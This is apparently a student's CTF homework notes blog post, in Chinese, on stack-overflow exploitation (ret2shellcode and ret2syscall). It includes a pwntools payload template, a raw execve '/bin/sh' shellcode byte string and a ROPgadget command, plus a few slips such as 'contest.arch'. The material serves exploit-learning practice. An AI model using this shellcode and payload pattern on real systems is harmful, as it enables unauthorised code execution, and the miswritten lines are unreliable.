pwn第二次作业
ret2shellcode
适用范围
没有后门函数 有rwx段(目前的初级题目)
方式
过程
将shellcode写入变量中 然后栈溢出劫持retaddr 然后执行
注意:当可用空间不足时shellcode可以写在返回地址后面,只要在书写payload时将地址篡改为返回地址后即可。
执行格式
shellcode=asm(shellcraft.sh())
len=buf长度+8
x = shellcode.ljust(len,'a')
p.recv()
p.sendline(x + p32(buf2_addr))
shellcraft
-
其为pwntools下的一个工具 功能为生成shell
-
方法有两种
-
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
-
from pwn import *
shellcode=asm(shellcraft.sh())-
此默认为32位程序
-
若想输出64位则输入shellcode=asm(shellcraft.amd64.sh)
并且在此之前加入contest.arch="amd64"
-
asm为将汇编语言转化为机器码
-
shellcraft.sh()为生成一个shellcode
-
-
-
在输出payload的时候因为难以数清楚payload具体字节数 因此我们选择利用ljust函数
e.g:payload=asm(shellcraft.sh()).ljust(112,b'A')
ljust(n,‘A’)功能:输入i个字符‘A’(i为总长度n减去已输入的长度的长度) 其中n为总长度,A为主要填充数据
ret2syscall
适用范围
没有后门函数 没有system函数 但是有/bin/sh或者cat flag
多用于静态链接的题目中。
方式
过程
我们可以先ropgadget,看程序中是否有mov eax等片段,如果有,我们就可以利用这些gadget来组合成一个shell来获取控制权
执行格式:
ROPgadget使用
使用格式
ROPgadget --binary 文件名 --only "pop|ret"
标签:pwn3,sh,shellcraft,ljust,shellcode,payload,asm From: https://www.cnblogs.com/AI-ruo/p/16971979.html